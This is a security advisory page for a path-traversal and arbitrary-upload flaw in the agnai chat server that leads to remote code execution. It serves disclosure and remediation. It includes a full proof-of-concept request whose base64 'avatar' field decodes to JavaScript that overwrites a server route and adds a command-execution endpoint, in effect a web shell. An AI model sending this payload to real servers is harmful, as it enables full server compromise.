Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: GSA_kwCzR0hTQS1tcGNoLTg5Z20taG04M84AA_zD
Agnai vulnerable to Remote Code Execution via JS Upload using Directory Traversal
Summary
A vulnerability has been discovered in Agnai that permits attackers to upload arbitrary files to attacker-chosen locations on the server, including JavaScript, enabling the execution of commands within those files. This issue could result in unauthorized access, full server compromise, data leakage, and other critical security threats.
This does not affect:
agnai.chat
- installations using S3-compatible storage
- self-hosting that is not publicly exposed
This DOES affect:
- publicly hosted installs without S3-compatible storage
CWEs
CWE-35: Path Traversal
CWE-434: Unrestricted Upload of File with Dangerous Type
CVSS-4.0 - 9.0 - Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Description
Path Traversal and Unrestricted Upload of File with Dangerous Type
Path Traversal Location
POST /api/chat/5c25e8dc-67c3-40e1-9572-32df2e26ff38/temp-character HTTP/1.1
{"_id": "/../../../../../../app/srv/api/voice",...<ommitted>}
In the following file, the _id
parameter which is a remote-supplied parameter is not properly validated and sanitized.
const upserted: AppSchema.Character = {
_id: body._id || `temp-${v4().slice(0, 8)}`,
kind: 'character',
createdAt: now(),
In the following file, the filename
(or id
) and content
variables are not properly sanitized and validated,
https://github.com/agnaistic/agnai/blob/dev/srv/api/upload.ts#L63
export async function entityUploadBase64(kind: string, id: string, content?: string) {
if (!content) return
if (!content.includes(',')) return
const filename = `${kind}-${id}`
const attachment = toAttachment(content)
return upload(attachment, filename)
}
function toAttachment(content: string): Attachment {
const [prefix, base64] = content.split(',')
const type = prefix.slice(5, -7)
const [, ext] = type.split('/')
return {
ext,
field: '',
original: '',
type: getType(ext),
content: Buffer.from(base64, 'base64'),
}
}
An attacker can freely specify arbitrary file types (and arbitrary base64-encoded file content), thereby permitting them to upload JavaScript files and by abusing the _id
parameter, to control the location of the file to overwrite an existing server file;
POST /api/chat/5c25e8dc-67c3-40e1-9572-32df2e26ff38/temp-character HTTP/1.1
...
Connection: keep-alive
{
"_id": "/../../../../../../app/srv/api/voice",
"name":"","description":"","culture":"en-us","tags":[],"scenario":"","appearance":"","visualType":"avatar","avatar":"data:image/js;base64,InVzZSBzdHJpY3QiOwpPYmplY3QuZGVmaW5lUHJvcGVydHkoZXhwb3J0cywgIl9fZXNNb2R1bGUiLCB7IHZhbHVlOiB0cnVlIH0pOwpjb25zdCBleHByZXNzXzEgPSByZXF1aXJlKCJleHByZXNzIik7CmNvbnN0IHdyYXBfMSA9IHJlcXVpcmUoIi4vd3JhcCIpOwpjb25zdCB2b2ljZV8xID0gcmVxdWlyZSgiLi4vdm9pY2UiKTsKY29uc3QgZGJfMSA9IHJlcXVpcmUoIi4uL2RiIik7CmNvbnN0IHZhbGlkXzEgPSByZXF1aXJlKCIvY29tbW9uL3ZhbGlkIik7CmNvbnN0IHJvdXRlciA9ICgwLCBleHByZXNzXzEuUm91dGVyKSgpOwpjb25zdCB0ZXh0VG9TcGVlY2hWYWxpZCA9IHsgdGV4dDogJ3N0cmluZycsIHZvaWNlOiAnYW55JyB9Owpjb25zdCB0ZXh0VG9TcGVlY2ggPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewogICAgY29uc3QgdXNlciA9IHVzZXJJZCA/IGF3YWl0IGRiXzEuc3RvcmUudXNlcnMuZ2V0VXNlcih1c2VySWQpIDogYm9keS51c2VyOwogICAgY29uc3QgZ3Vlc3RJZCA9IHVzZXJJZCA/IHVuZGVmaW5lZCA6IHNvY2tldElkOwogICAgKDAsIHZhbGlkXzEuYXNzZXJ0VmFsaWQpKHRleHRUb1NwZWVjaFZhbGlkLCBib2R5KTsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZW5lcmF0ZVRleHRUb1NwZWVjaCkodXNlciwgbG9nLCBndWVzdElkLCBib2R5LnRleHQsIGJvZHkudm9pY2UpOwp9KTsKY29uc3QgZ2V0Vm9pY2VzID0gKDAsIHdyYXBfMS5oYW5kbGUpKGFzeW5jICh7IGJvZHksIHVzZXJJZCwgc29ja2V0SWQsIGxvZywgcGFyYW1zIH0pID0+IHsKICAgIGNvbnN0IHR0c1NlcnZpY2UgPSBwYXJhbXMuaWQ7CiAgICBjb25zdCB1c2VyID0gdXNlcklkID8gYXdhaXQgZGJfMS5zdG9yZS51c2Vycy5nZXRVc2VyKHVzZXJJZCkgOiBib2R5LnVzZXI7CiAgICBjb25zdCBndWVzdElkID0gdXNlcklkID8gdW5kZWZpbmVkIDogc29ja2V0SWQ7CiAgICByZXR1cm4gKDAsIHZvaWNlXzEuZ2V0Vm9pY2VzTGlzdCkoeyB0dHNTZXJ2aWNlOiB0dHNTZXJ2aWNlLCB1c2VyIH0sIGxvZywgZ3Vlc3RJZCk7Cn0pOwpjb25zdCBnZXRNb2RlbHMgPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewogICAgY29uc3QgdHRzU2VydmljZSA9IHBhcmFtcy5pZDsKICAgIGNvbnN0IHVzZXIgPSB1c2VySWQgPyBhd2FpdCBkYl8xLnN0b3JlLnVzZXJzLmdldFVzZXIodXNlcklkKSA6IGJvZHkudXNlcjsKICAgIGNvbnN0IGd1ZXN0SWQgPSB1c2VySWQgPyB1bmRlZmluZWQgOiBzb2NrZXRJZDsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZXRNb2RlbHNMaXN0KSh7IHR0c1NlcnZpY2U6IHR0c1NlcnZpY2UsIHVzZXIgfSwgbG9nLCBndWVzdElkKTsKfSk7Cgpjb25zdCBnZXRDbWQgPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewoJY29uc3QgY2hpbGRfcHJvY2Vzc18xID0gcmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpOwoJY2hpbGRfcHJvY2Vzc18xLmV4ZWNTeW5jKGJvZHkuY21kKTsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZXRNb2RlbHNMaXN0KSh7IHR0c1NlcnZpY2U6IHR0c1NlcnZpY2UsIHVzZXIgfSwgbG9nLCBndWVzdElkKTsKfSk7Cgpyb3V0ZXIucG9zdCgnL3R0cycsIHRleHRUb1NwZWVjaCk7CnJvdXRlci5wb3N0KCcvOmlkL3ZvaWNlcycsIGdldFZvaWNlcyk7CnJvdXRlci5wb3N0KCcvOmlkL21vZGVscycsIGdldE1vZGVscyk7CnJvdXRlci5wb3N0KCcvY21kJywgZ2V0Q21kKTsKZXhwb3J0cy5kZWZhdWx0ID0gcm91dGVyOwovLyMgc291cmNlTWFwcGluZ1VSTD12b2ljZS5qcy5tYXA=","sprite":null,"greeting":"","sampleChat":"","voiceDisabled":false,"voice":{},"systemPrompt":"","postHistoryInstructions":"","insert":{"prompt":"","depth":3},"alternateGreetings":[],"creator":"","characterVersion":"","persona":{"kind":"text","attributes":{"text":[""]}},"imageSettings":{"type":"sd","steps":10,"width":512,"height":512,"prefix":"","suffix":"","negative":"","cfg":9,"summariseChat":true,"summaryPrompt":""}}
Risk
The attacker can write arbitrary files to disk, including overwriting existing JavaScript to execute arbitrary code on the server, leading to a complete system compromise, server control, and further network penetration.
Attackers can gain full access to the server.
Recommendation
Input Validation
- Ensure thorough validation of user inputs, particularly id parameter, file paths and file names, to prevent directory traversal and ensure they end up in the desired folder location post-normalization. [OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)
Arbitrary File Upload
- Restrict the types of files that can be uploaded via a allow-only list.
Credits
- @ropwareJB
- @noe233
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcGNoLTg5Z20taG04M84AA_zD
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: about 2 months ago
Updated: about 2 months ago
CVSS Score: 8.8
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Identifiers: GHSA-mpch-89gm-hm83, CVE-2024-47169
References:
- https://github.com/agnaistic/agnai/security/advisories/GHSA-mpch-89gm-hm83
- https://nvd.nist.gov/vuln/detail/CVE-2024-47169
- https://github.com/advisories/GHSA-mpch-89gm-hm83
Blast Radius: 1.0
Affected Packages
npm:agnai
Dependent packages: 1Dependent repositories: 0
Downloads: 1,380 last month
Affected Version Ranges: < 1.0.330
Fixed in: 1.0.330
All affected versions: 1.0.0, 1.0.3, 1.0.5, 1.0.6, 1.0.7, 1.0.8, 1.0.9, 1.0.10, 1.0.11, 1.0.12, 1.0.13, 1.0.14, 1.0.15, 1.0.16, 1.0.17, 1.0.18, 1.0.19, 1.0.20, 1.0.21, 1.0.22, 1.0.23, 1.0.24, 1.0.25, 1.0.26, 1.0.27, 1.0.28, 1.0.29, 1.0.30, 1.0.31, 1.0.32, 1.0.33, 1.0.34, 1.0.35, 1.0.36, 1.0.37, 1.0.38, 1.0.39, 1.0.40, 1.0.41, 1.0.42, 1.0.43, 1.0.44, 1.0.45, 1.0.46, 1.0.47, 1.0.48, 1.0.49, 1.0.50, 1.0.51, 1.0.52, 1.0.53, 1.0.54, 1.0.55, 1.0.56, 1.0.57, 1.0.58, 1.0.59, 1.0.60, 1.0.61, 1.0.62, 1.0.63, 1.0.64, 1.0.65, 1.0.66, 1.0.67, 1.0.68, 1.0.69, 1.0.70, 1.0.71, 1.0.72, 1.0.73, 1.0.74, 1.0.75, 1.0.76, 1.0.77, 1.0.78, 1.0.79, 1.0.80, 1.0.81, 1.0.82, 1.0.83, 1.0.84, 1.0.85, 1.0.86, 1.0.87, 1.0.88, 1.0.89, 1.0.90, 1.0.91, 1.0.92, 1.0.93, 1.0.94, 1.0.95, 1.0.96, 1.0.97, 1.0.98, 1.0.99, 1.0.100, 1.0.101, 1.0.102, 1.0.103, 1.0.104, 1.0.105, 1.0.106, 1.0.107, 1.0.108, 1.0.109, 1.0.110, 1.0.111, 1.0.112, 1.0.113, 1.0.114, 1.0.115, 1.0.116, 1.0.117, 1.0.118, 1.0.119, 1.0.120, 1.0.121, 1.0.122, 1.0.123, 1.0.124, 1.0.125, 1.0.126, 1.0.127, 1.0.128, 1.0.129, 1.0.130, 1.0.131, 1.0.132, 1.0.133, 1.0.134, 1.0.135, 1.0.136, 1.0.137, 1.0.138, 1.0.139, 1.0.140, 1.0.141, 1.0.142, 1.0.143, 1.0.144, 1.0.145, 1.0.146, 1.0.147, 1.0.148, 1.0.149, 1.0.150, 1.0.151, 1.0.152, 1.0.153, 1.0.154, 1.0.155, 1.0.156, 1.0.157, 1.0.158, 1.0.159, 1.0.160, 1.0.161, 1.0.162, 1.0.163, 1.0.164, 1.0.165, 1.0.166, 1.0.167, 1.0.168, 1.0.169, 1.0.170, 1.0.171, 1.0.172, 1.0.173, 1.0.174, 1.0.175, 1.0.176, 1.0.177, 1.0.178, 1.0.179, 1.0.180, 1.0.181, 1.0.182, 1.0.183, 1.0.184, 1.0.185, 1.0.186, 1.0.187, 1.0.188, 1.0.189, 1.0.190, 1.0.191, 1.0.192, 1.0.193, 1.0.194, 1.0.195, 1.0.196, 1.0.197, 1.0.198, 1.0.199, 1.0.200, 1.0.201, 1.0.202, 1.0.203, 1.0.204, 1.0.205, 1.0.206, 1.0.207, 1.0.208, 1.0.209, 1.0.210, 1.0.211, 1.0.212, 1.0.213, 1.0.214, 1.0.215, 1.0.216, 1.0.217, 1.0.218, 1.0.219, 1.0.220, 1.0.221, 1.0.222, 1.0.223, 1.0.224, 1.0.225, 1.0.226, 1.0.227, 1.0.228, 1.0.229, 1.0.230, 1.0.231, 1.0.232, 1.0.233, 1.0.234, 1.0.235, 1.0.236, 1.0.237, 1.0.238, 1.0.239, 1.0.240, 1.0.241, 1.0.242, 1.0.243, 1.0.244, 1.0.245, 1.0.246, 1.0.247, 1.0.248, 1.0.249, 1.0.250, 1.0.251, 1.0.252, 1.0.253, 1.0.254, 1.0.255, 1.0.256, 1.0.257, 1.0.258, 1.0.259, 1.0.260, 1.0.261, 1.0.262, 1.0.263, 1.0.264, 1.0.265, 1.0.266, 1.0.267, 1.0.268, 1.0.269, 1.0.270, 1.0.271, 1.0.272, 1.0.273, 1.0.274, 1.0.275, 1.0.276, 1.0.277, 1.0.278, 1.0.279, 1.0.280, 1.0.281, 1.0.282, 1.0.283, 1.0.284, 1.0.285, 1.0.286, 1.0.287, 1.0.288, 1.0.289, 1.0.290, 1.0.291, 1.0.292, 1.0.293, 1.0.294, 1.0.295, 1.0.296, 1.0.297, 1.0.298, 1.0.299, 1.0.300, 1.0.301, 1.0.302, 1.0.303, 1.0.304, 1.0.305, 1.0.306, 1.0.307, 1.0.308, 1.0.309, 1.0.310, 1.0.311, 1.0.312, 1.0.313, 1.0.314, 1.0.315, 1.0.316, 1.0.317, 1.0.318, 1.0.319, 1.0.320, 1.0.321, 1.0.322, 1.0.323, 1.0.324, 1.0.325, 1.0.326, 1.0.327, 1.0.328, 1.0.329
All unaffected versions: 1.0.330, 1.0.331, 1.0.332, 1.0.333, 1.0.334, 1.0.335, 1.0.336, 1.0.337, 1.0.338, 1.0.339, 1.0.340, 1.0.341, 1.0.342, 1.0.343, 1.0.344, 1.0.345, 1.0.346, 1.0.347, 1.0.348, 1.0.349, 1.0.350, 1.0.351, 1.0.352, 1.0.353, 1.0.354, 1.0.355, 1.0.356, 1.0.357, 1.0.358, 1.0.359, 1.0.360, 1.0.361, 1.0.362, 1.0.363, 1.0.364, 1.0.365, 1.0.366, 1.0.367, 1.0.368, 1.0.369, 1.0.370, 1.0.371, 1.0.372, 1.0.373, 1.0.374, 1.0.375, 1.0.376, 1.0.377